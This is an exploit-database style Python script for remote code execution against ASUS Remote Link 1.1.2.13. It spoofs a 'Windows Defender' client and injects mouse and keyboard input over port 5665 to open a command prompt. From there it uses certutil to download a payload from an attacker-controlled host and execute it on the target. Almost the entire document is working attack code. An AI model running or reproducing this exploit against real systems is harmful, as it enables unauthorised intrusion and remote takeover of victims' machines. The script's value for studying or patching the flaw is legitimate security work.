ASUS Remote Link 1.1.2.13 - Remote Code Execution

# Exploit: ASUS Remote Link 1.1.2.13 - Remote Code Execution
# Date: 24-02-2021
# Exploit Author: H4rk3nz0
# Vendor Homepage: http://asus.com/
# Software Link: http://remotelink.asus.com/
# Version: 1.1.2.13
# Tested on: Windows 10 Enterprise Build 17763
# CVE: N/A

#!/usr/bin/python

import socket
from time import sleep
import sys


port = 5665
target = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

prefix = "04020b02"
suffix = "0000020000000000000000000300000000000000000004000000000000000000010000"
enter = (prefix + ("0" * 1038)).decode("hex")
string_prefix = "04020b0200000000010000"
string_suffix = "0" * 1022
pre_command = "04000b0200000000".decode("hex")
user_declare = ("02028a0000000000000057696e646f777320446566656e646572" + "0" * 224).decode("hex") # Declares Connection Source as 'Windows Defender'

# ASCII to Hex Character List
characters={
	"A":"41","B":"42","C":"43","D":"44","E":"45","F":"46","G":"47","H":"48","I":"49","J":"4a","K":"4b","L":"4c","M":"4d","N":"4e",
	"O":"4f","P":"50","Q":"51","R":"52","S":"53","T":"54","U":"55","V":"56","W":"57","X":"58","Y":"59","Z":"5a",
	"a":"61","b":"62","c":"63","d":"64","e":"65","f":"66","g":"67","h":"68","i":"69","j":"6a","k":"6b","l":"6c","m":"6d","n":"6e",
	"o":"6f","p":"70","q":"71","r":"72","s":"73","t":"74","u":"75","v":"76","w":"77","x":"78","y":"79","z":"7a",
	"1":"31","2":"32","3":"33","4":"34","5":"35","6":"36","7":"37","8":"38","9":"39","0":"30",
	" ":"20","+":"2b","=":"3d","/":"2f","_":"5f","<":"3c",
	">":"3e","[":"5b","]":"5d","!":"21","@":"40","#":"23","$":"24","%":"25","^":"5e","&":"26","*":"2a",
	"(":"28",")":"29","-":"2d","'":"27",'"':"22",":":"3a",";":"3b","?":"3f","`":"60","~":"7e",
	"\\":"5c","|":"7c","{":"7b","}":"7d",",":"2c",".":"2e"}


# User Specified arguments
try:
	rhost = "192.168.1.93"
	lhost = sys.argv[2]
	payload = sys.argv[3]
except:
	print("Usage: python " + sys.argv[0] + " <target-ip> <local-http-ip> <payload-name>")
	exit()

# HandShake Packets to Smart Gesture Server
def Handshake():
	target.connect((rhost,port))
	target.sendto("b2".decode("hex"),(rhost,port))
	target.sendto("38323538".decode("hex"),(rhost,port))
	target.sendto("03000f0000000000".decode("hex"),(rhost,port))
	target.sendto("03020f000000000003310000000000".decode("hex"),(rhost,port))
	target.sendto("02008a0000000000".decode("hex"),(rhost,port))
	target.sendto(user_declare,(rhost,port))
	sleep(0.1)


def MoveMouse():
	for i in range(0,16):
		target.sendto("0000330038040006".decode("hex"),(rhost,port))
		target.sendto(("00013300380400060101db010000c502" + suffix).decode("hex"),(rhost,port))
		target.sendto(("00013300380400060101d0010000ca02" + suffix).decode("hex"),(rhost,port))
		target.sendto(("00013300380400060101c7010000ce02" + suffix).decode("hex"),(rhost,port))
		target.sendto(("00013300380400060101bd010000d202" + suffix).decode("hex"),(rhost,port))
		target.sendto(("00013300380400060101b2010000d502" + suffix).decode("hex"),(rhost,port))
		target.sendto(("00013300380400060101a6010000d802" + suffix).decode("hex"),(rhost,port))
		target.sendto(("0001330038040006010199010000db02" + suffix).decode("hex"),(rhost,port))
		target.sendto(("000133003804000601018d010000de02" + suffix).decode("hex"),(rhost,port))
		target.sendto(("0001330038040006010180010000e002" + suffix).decode("hex"),(rhost,port))
		target.sendto(("0001330038040006010171010000e402" + suffix).decode("hex"),(rhost,port))
		target.sendto(("0001330038040006010163010000e602" + suffix).decode("hex"),(rhost,port))
		target.sendto(("0001330038040006010154010000e902" + suffix).decode("hex"),(rhost,port))
		target.sendto(("0001330038040006010146010000eb02" + suffix).decode("hex"),(rhost,port))
		target.sendto(("000133003804000601013b010000ed02" + suffix).decode("hex"),(rhost,port))
		target.sendto(("000133003804000601012d010000f002" + suffix).decode("hex"),(rhost,port))
		target.sendto(("0001330038040006010120010000f302" + suffix).decode("hex"),(rhost,port))
		target.sendto(("0001330038040006010113010000f702" + suffix).decode("hex"),(rhost,port))
		target.sendto(("0001330038040006010107010000fa02" + suffix).decode("hex"),(rhost,port))
		target.sendto(("00013300380400060101fa000000fd02" + suffix).decode("hex"),(rhost,port))
		target.sendto(("00013300380400060101f10000000003" + suffix).decode("hex"),(rhost,port))
		target.sendto(("00013300380400060101e50000000303" + suffix).decode("hex"),(rhost,port))
		target.sendto(("00013300380400060101d90000000603" + suffix).decode("hex"),(rhost,port))
		target.sendto(("00013300380400060101ce0000000903" + suffix).decode("hex"),(rhost,port))
		target.sendto(("00013300380400060101c20000000d03" + suffix).decode("hex"),(rhost,port))
		target.sendto(("00013300380400060101b60000001103" + suffix).decode("hex"),(rhost,port))
		target.sendto(("00013300380400060101ab0000001403" + suffix).decode("hex"),(rhost,port))
		target.sendto(("00013300380400060101a00000001803" + suffix).decode("hex"),(rhost,port))
		target.sendto(("00013300380400060101950000001c03" + suffix).decode("hex"),(rhost,port))
		target.sendto(("00013300380400060101890000002003" + suffix).decode("hex"),(rhost,port))
		target.sendto(("000133003804000601017e0000002403" + suffix).decode("hex"),(rhost,port))
		target.sendto(("00013300380400060101740000002703" + suffix).decode("hex"),(rhost,port))
		target.sendto(("000133003804000601016c0000002a03" + suffix).decode("hex"),(rhost,port))
		target.sendto(("00013300380400060101650000002c03" + suffix).decode("hex"),(rhost,port))
		target.sendto(("000133003804000601015c0000002f03" + suffix).decode("hex"),(rhost,port))
		target.sendto(("000133003804000601015c0000003003" + suffix).decode("hex"),(rhost,port))
		target.sendto(("000233003804000601005c0000003003" + suffix).decode("hex"),(rhost,port))
		sleep(0.6)

# Sends Left Click Input (Occasional Delay for some Reason)
def LeftClick():
	target.sendto("0000330038040006".decode("hex"),(rhost,port))
	target.sendto(("0001330038040006010116020000e502" + suffix).decode("hex"),(rhost,port))
	target.sendto(("0001330038040006010116020000e502" + suffix).decode("hex"),(rhost,port))
	target.sendto(("0001330038040006010116020000e502" + suffix).decode("hex"),(rhost,port))
	target.sendto(("0001330038040006010116020000e502" + suffix).decode("hex"),(rhost,port))
	target.sendto(("0001330038040006010116020000e502" + suffix).decode("hex"),(rhost,port))
	target.sendto(("0001330038040006010116020000e502" + suffix).decode("hex"),(rhost,port))
	target.sendto(("0001330038040006010116020000e502" + suffix).decode("hex"),(rhost,port))
	target.sendto(("0001330038040006010116020000e502" + suffix).decode("hex"),(rhost,port))
	target.sendto(("0002330038040006010016020000e502" + suffix).decode("hex"),(rhost,port))
	sleep(4)

# Send Enter/Return Key Input
def SendReturn():
	target.sendto(pre_command,(rhost,port))
	sleep(0.2)
	target.sendto(enter,(rhost,port)) # Enter/Return Key

# Send String Characters
def SendString(string):
	for char in string:
		convert = characters[char]
		final_string = string_prefix + convert + string_suffix
		target.sendto(pre_command,(rhost,port))
		target.sendto(final_string.decode("hex"),(rhost,port))
		sleep(0.2)

# Main Execution
def main():
	print("[+] Saying Hello")
	Handshake()
	sleep(2)
	print("[+] Moving Mouse")
	MoveMouse()
	print("[+] Left Clicking (takes a few seconds)")
	LeftClick() # Left Click is delayed sometimes
	print("[+] Opening CMD")
	SendString("cmd.exe") # Start Command Prompt
	sleep(0.5)
	SendReturn()
	sleep(1)
	print("[+] Retrieving Payload")
	SendString("certutil.exe -f -urlcache http://" + lhost + "/" + payload + " C:\\Windows\Temp\\" + payload) # Retrieve Payload
	sleep(0.5)
	SendReturn()
	sleep(3)
	print("[+] Executing")
	SendString("C:\\Windows\\Temp\\" + payload) # Execute Payload
	sleep(0.5)
	SendReturn()
	sleep(0.5)
	print("[+] Done! Check your listener?")
	SendReturn() # Trailing Enter Command Ensures full execution
	target.close()
	exit()

if __name__=="__main__":
	main()